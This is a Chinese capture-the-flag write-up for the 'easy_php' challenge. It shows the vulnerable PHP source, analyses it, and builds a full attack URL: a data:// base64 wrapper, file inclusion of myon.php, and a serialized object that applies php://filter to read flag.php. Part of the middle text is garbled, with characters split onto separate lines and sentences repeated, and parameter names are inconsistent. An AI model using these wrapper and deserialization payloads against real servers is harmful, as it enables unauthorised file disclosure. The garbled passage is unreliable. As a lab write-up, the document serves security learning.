easy_php
源码
<?php
// flag is in flag.php
highlight_file(__FILE__);
ini_set('display_errors', 0);
error_reporting(0);
if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) {
$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];
if (file_get_contents($myon1) === "hello Myon!") {
echo "welcome!";
} else {
die("you can't see the flag!");
}
if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
die("Access denied!");
} else {
include($myon2); // myon.php
$my = unserialize($myon3);
echo $my;
}
}
?>
代码分析
提亮字体
highlight_file(__FILE__);
关闭错误回显,暴露出的信息越少越有利于网站的自我保护
ini_set('display_errors', 0);
error_reporting(0);
同时get传入三个参数,必须同时传入三个参数mony1,mony2,mony3少传一个都不会执行最大的这个if
if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3']))
设置三个变量用来存储传入的参数用于后续代码执行
$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];
此函数的判断条件是mony1储存的数据是否全等于hello Myon!如果是则输出welcom!,否则
if (file_get_contents($myon1) === "hello Myon!") {
echo "welcome!";
} else {
die("you can't see the flag!");
}
匹配mony2中最后一次出现flag的位置,出现了则不全等flase
stripos($myon2, “flag”) !== false
正则表达式匹配flag,i标识不区分大小写
preg_match(“/flag/i”, $myon2)
总之就是||前后的都必须为假也就是mony2中不能有flag字符串,不然就终止程序并且输出Access denied!,如果都没有包含flag,就文件包含mony2
if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
die("Access denied!");
} else {
include($myon2); // myon.php
$my = unserialize($myon3);
echo $my;
}
其次这个函数里还创建了一个变量my将mony3反序列化后赋值给了my最后输出my
序列化,反序列化
序列化就是将对象转换为字符串,反序列化将字符串转换为对象
可以看看这个博主写的
构建参数
mony1:目的输出welcom!
myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
为什么这么构造呢,你先不管后两个参数的内容是什么,只将第一个参数mony1的值改为hello world之后我做了很多此尝试发现始终不会输出welcom,所以这里大概率是做了过滤,应该是把空格处理了,然后我尝试将空格替换成了url编码的格式还是不行
这里我做了很多尝试,想到了base64编码,但是还是
伪协议可以参考学习一下这个博主的
它不知道这个是base64编码,我们要告诉它,这就需要利用data://控制输入流告诉它这里有base编码。
也就是
myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
mony2
看到了提示,myon.php
当给
m
y
o
n
2
传递参数为
m
y
o
n
.
p
h
p
时,接下来的代码执行如下:
1.
i
n
c
l
u
d
e
(
myon2 传递参数为 myon.php 时,接下来的代码执行如下: 1.include(
myon2传递参数为myon.php时,接下来的代码执行如下:1.include(myon2);:这会包含 myon.php 文件的内容。如果 myon.php 存在并且可访问,其中的代码将被执行。
2.
m
y
=
u
n
s
e
r
i
a
l
i
z
e
(
my = unserialize(
my=unserialize(myon3);:这一行尝试对
m
y
o
n
3
进行反序列化操作。
myon3 进行反序列化操作。
myon3进行反序列化操作。myon3 包含了一个序列化的对象,如果反序列化成功,会将对象存储在变量 $my 中。
这样就行了
myon2=myon.php.
myon3
根据此模板构造
试着传入myon3的值,一般编码读取的成功性更大
myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=myon.php";}
这个序列化的对象表示一个名为 “Myon” 的类,其中有一个名为 “myon” 的属性
可以直接读取myon.php的文件那不妨直接试试读取flag.php,这里给了提示
myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
类似的我们还可以读取网页源码
将三者拼接到一起
myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}